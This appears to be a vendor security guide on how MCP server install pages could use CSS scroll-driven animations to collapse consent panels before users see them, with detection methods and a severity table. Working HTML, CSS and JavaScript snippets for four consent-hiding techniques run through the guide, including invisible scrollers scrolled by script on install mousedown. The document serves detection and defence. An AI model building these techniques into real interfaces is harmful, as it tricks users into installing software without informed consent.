Security Guide
MCP server CSS scroll-driven animation consent security — animation-timeline:scroll() consent collapse, view() exit timeline, programmatic scroll timeline bypass
CSS scroll-driven animations (Chrome 115+, Firefox 110+) replace time-based animation progress with scroll position. For MCP consent security, this lets an MCP server collapse consent element dimensions at a specific scroll position — including position zero, triggered by a 1px-tall scroller that reaches 100% progress at the first pixel of scroll, or by programmatically scrolling an invisible scroller at install time.
How scroll-driven animations create consent bypass opportunities
CSS scroll-driven animations use animation-timeline: scroll() or animation-timeline: view() to drive @keyframes progress with scroll position rather than time. scroll() ties progress to how far a scroll container has been scrolled — 0% at the top, 100% at the bottom. view() ties progress to where an element is in the scroll container's viewport — the element enters at 0% and exits at 100%.
For consent elements, the attack is to attach a @keyframes animation that collapses height, opacity, or width at a specific scroll position — and ensure that the install button becomes clickable only when the scroll position has already triggered the consent collapse. The user must scroll to reach the install button; that same scroll action causes the consent element to collapse.
Browser support: Scroll-driven animations are supported in Chrome 115+, Edge 115+, and Firefox 110+. As of October 2026, global support exceeds 85%. Note: a separate SEO page covers CSS scroll-behavior consent attacks — scroll-driven animations are a distinct, more powerful attack surface.
Attack 1: 1px-tall scroller reaches 100% progress immediately (SA-CSS-SDA-001)
A scroll container with height: 1px and overflow: scroll containing content taller than 1px has a scrollable range. CSS scroll-driven animation progress for scroll() is proportional to the scrolled distance over the total scrollable range. For a 1px container with 1px of scrollable content, any scroll (even 0.01px) brings progress to 100%. The MCP server attaches a @keyframes animation tied to this 1px scroller that collapses consent dimensions at 100% progress. On page load, the first style recalculation positions consent correctly. The first pixel of any scroll — or a JS scroll of 0.01px — immediately triggers 100% animation progress and consent collapse.
/* SA-CSS-SDA-001: 1px-tall scroller triggers full animation progress immediately */
/* MCP server creates a 1px-tall invisible scroller */
<div id="mcp-scroll-trigger"
style="height:1px; width:1px; overflow:scroll; opacity:0; position:fixed; pointer-events:none;">
<div style="height:2px;"></div>
</div>
/* CSS: name the scroll container */
#mcp-scroll-trigger {
scroll-timeline-name: --consent-collapse-timeline;
}
/* CSS: tie consent collapse to this timeline */
.consent-panel {
animation: collapse-consent linear;
animation-timeline: --consent-collapse-timeline;
animation-fill-mode: forwards;
}
@keyframes collapse-consent {
0% { height: 120px; opacity: 1; }
100% { height: 0; opacity: 0; overflow: hidden; }
}
/* JS: scroll the 1px container by 1px at install mousedown */
document.querySelector('.install-button').addEventListener('mousedown', () => {
document.getElementById('mcp-scroll-trigger').scrollTop = 1;
// scrollTop = 1 on a 1px-tall container → 100% progress
// @keyframes hits 100% → consent height:0, opacity:0
// Install proceeds with consent collapsed
});
CRITICAL — SA-CSS-SDA-001: The collapse is driven by a scroll event on a completely invisible, pointer-events:none, opacity:0, fixed 1px element. No user-visible scroll occurs. No CSS transition is applied to the consent element (scroll-driven animations use @keyframes, not transitions — no transition property to inspect). The animation is in effect a JS-triggered instant collapse via a CSS scroll-driven animation intermediary, adding an indirection layer that evades transition-targeting auditors.
Attack 2: animation-timeline:view() collapses consent as it enters viewport (SA-CSS-SDA-002)
animation-timeline: view() tracks an element's intersection with the scroll container. Progress goes from 0% (element about to enter) to 100% (element fully exited). The MCP server attaches a @keyframes that starts consent collapse at a specific entry percentage. The user's scroll to reveal the consent element simultaneously triggers its collapse animation — the element enters the viewport and immediately begins collapsing.
/* SA-CSS-SDA-002: view() entry animation collapses consent as it enters viewport */
.consent-panel {
animation: consent-entry-collapse linear;
animation-timeline: view();
/* animation-range: entry 0% entry 30% means the @keyframes plays
* from 0% to 100% during the first 30% of the element entering the viewport.
* During the 300ms it takes to scroll the consent panel into view,
* the animation fully completes — consent goes from 100px to 0px.
*/
animation-range: entry 0% entry 30%;
animation-fill-mode: both;
}
@keyframes consent-entry-collapse {
0% { height: 100px; opacity: 1; overflow: visible; }
80% { height: 20px; opacity: 0.3; }
100% { height: 0; opacity: 0; overflow: hidden; }
}
/*
* User behavior: page scrolls down to reveal the install section.
* Consent panel enters the viewport at entry 0%.
* By entry 30% (panel 30% in view), animation is at 100% → height:0.
* User never sees the consent panel at full height.
* Install button, positioned further down, becomes visible after consent collapses.
* User sees: install button; does not see: consent panel (already collapsed).
*/
Attack 3: Invisible scroller with named timeline, programmatically scrolled (SA-CSS-SDA-003)
The MCP server creates an invisible scroller with a named scroll timeline. The consent panel's animation is tied to this named timeline. At install mousedown, JS scrolls the invisible container programmatically to a specific position that drives the animation to 100%. The entire operation is invisible to the user — no visible scroll occurs, no visible transition plays. The consent panel collapses via a CSS scroll-driven animation responding to an off-screen, programmatic scroll.
/* SA-CSS-SDA-003: Named scroll timeline on invisible scroller, triggered by JS */
/* Invisible scroller container — off-screen, no user interaction possible */
<div id="consent-timeline-scroller"
style="position:fixed; top:-9999px; left:-9999px;
width:100px; height:100px; overflow:scroll;">
<div style="height:1000px;"></div>
</div>
/* Named scroll timeline */
#consent-timeline-scroller {
scroll-timeline-name: --install-flow;
scroll-timeline-axis: block;
}
/* Consent panel animation driven by the named timeline */
.consent-panel {
animation: consent-fold linear;
animation-timeline: --install-flow;
animation-fill-mode: forwards;
/* animation-range: controls which part of the scroll drives the animation.
* Default: 0% to 100% of the scroller's total scrollable range (900px).
* We want collapse at scrollTop = 450px (50% of 900px).
*/
animation-range: 40% 60%;
}
@keyframes consent-fold {
0% { height: 100px; opacity: 1; }
100% { height: 0; overflow: hidden; opacity: 0; }
}
/* JS at install mousedown: scroll to 50% of range = 450px */
installBtn.addEventListener('mousedown', () => {
document.getElementById('consent-timeline-scroller').scrollTop = 450;
// animation-range 40%-60%: 450px is within this range → animation at ~50% → height ~50px
// One frame later: commit install
requestAnimationFrame(() => {
document.getElementById('consent-timeline-scroller').scrollTop = 540;
// 540/900 = 60% → animation at 100% → height:0
commitInstall();
});
});
Detection: SkillAudit instruments Element.prototype.scrollTop setter and Element.prototype.scroll() to detect programmatic scroll events on elements that are not in the normal document flow (position:fixed, top:-9999px, etc.) during the install interaction window. Any scroll on a non-visible element that has a scroll-timeline-name declaration and that drives an animation on a consent-critical element is flagged as SA-CSS-SDA-003.
Attack 4: animation-range exit timed to install button scroll (SA-CSS-SDA-004)
The consent element is positioned earlier in the page than the install button. As the user scrolls down to reach the install button, the consent element naturally exits the viewport. The MCP server attaches a view-timeline animation to the consent element with animation-range: exit 0% exit 100% — the consent element's exit from the viewport drives a @keyframes that collapses its height and opacity. By the time the user has scrolled far enough to see the install button, the consent element has fully exited the viewport and its collapse animation has completed to 100%.
/* SA-CSS-SDA-004: animation-range exit — consent collapses as user scrolls to install button */
.consent-panel {
animation: consent-exit-anim linear;
animation-timeline: view();
/* exit 0% = consent panel just started leaving the top of viewport
* exit 100% = consent panel fully off-screen above viewport
* As user scrolls down to the install button, consent panel rises off-screen.
* The animation plays 0→100% during that exit.
*/
animation-range: exit 0% exit 100%;
animation-fill-mode: both;
}
@keyframes consent-exit-anim {
0% { opacity: 1; height: 100px; }
50% { opacity: 0.4; height: 50px; }
100% { opacity: 0; height: 0; overflow: hidden; }
}
/* Install button is below the consent panel.
* User must scroll past consent panel to reach install button.
* As consent panel exits viewport (animation 0%→100%), consent collapses.
* When user reaches install button at bottom: consent panel is at 100% collapse.
*
* Result: user cannot see the consent panel while interacting with install button.
* Layout-based audit tools that check whether consent is in the DOM: pass.
* Visibility-based tools that check at page load: pass (consent at 100px opacity:1).
* Only a tool that simulates scrolling to the install button and re-checks consent
* after the scroll will detect the collapse.
*/
Findings summary
animation-timeline:scroll() on a 1px-tall invisible scroller — reaches 100% animation progress at first pixel of scroll; JS triggers via scrollTop = 1 at install mousedown; consent collapses with no user-visible scroll; no transition property to inspect.animation-timeline:view() on consent element — collapse animation plays during viewport entry; consent enters the viewport already collapsing; collapses before the user can read it; install button positioned below collapses consent on natural scroll.animation-range: exit 0% exit 100% — consent collapses as user naturally scrolls down to install button; consent is in DOM and visible at page load; only detectable by simulating install-button scroll and re-checking consent visibility after scroll.Summary table
| Attack | Severity | Timeline type | Trigger | Detection |
|---|---|---|---|---|
| SA-CSS-SDA-001: 1px scroller instant collapse | Critical | Named scroll-timeline on 1px container | JS scrollTop = 1 at mousedown |
Instrument scrollTop setter; detect programmatic scroll on non-visible scroll containers |
| SA-CSS-SDA-002: view() entry collapse | High | animation-timeline:view() on consent element | User scrolls consent into viewport | Detect view-timeline animations with entry-phase keyframes that reduce consent dimensions |
| SA-CSS-SDA-003: Invisible programmatic scroll timeline | High | Named scroll-timeline, off-screen container | JS programmatic scroll at install | Monitor named scroll timelines; check if driving element is visible or accessible |
| SA-CSS-SDA-004: view() exit with install-button scroll | Medium | animation-timeline:view(), exit range | User scroll to install button | Simulate install-button scroll; re-check consent visibility after scroll completes |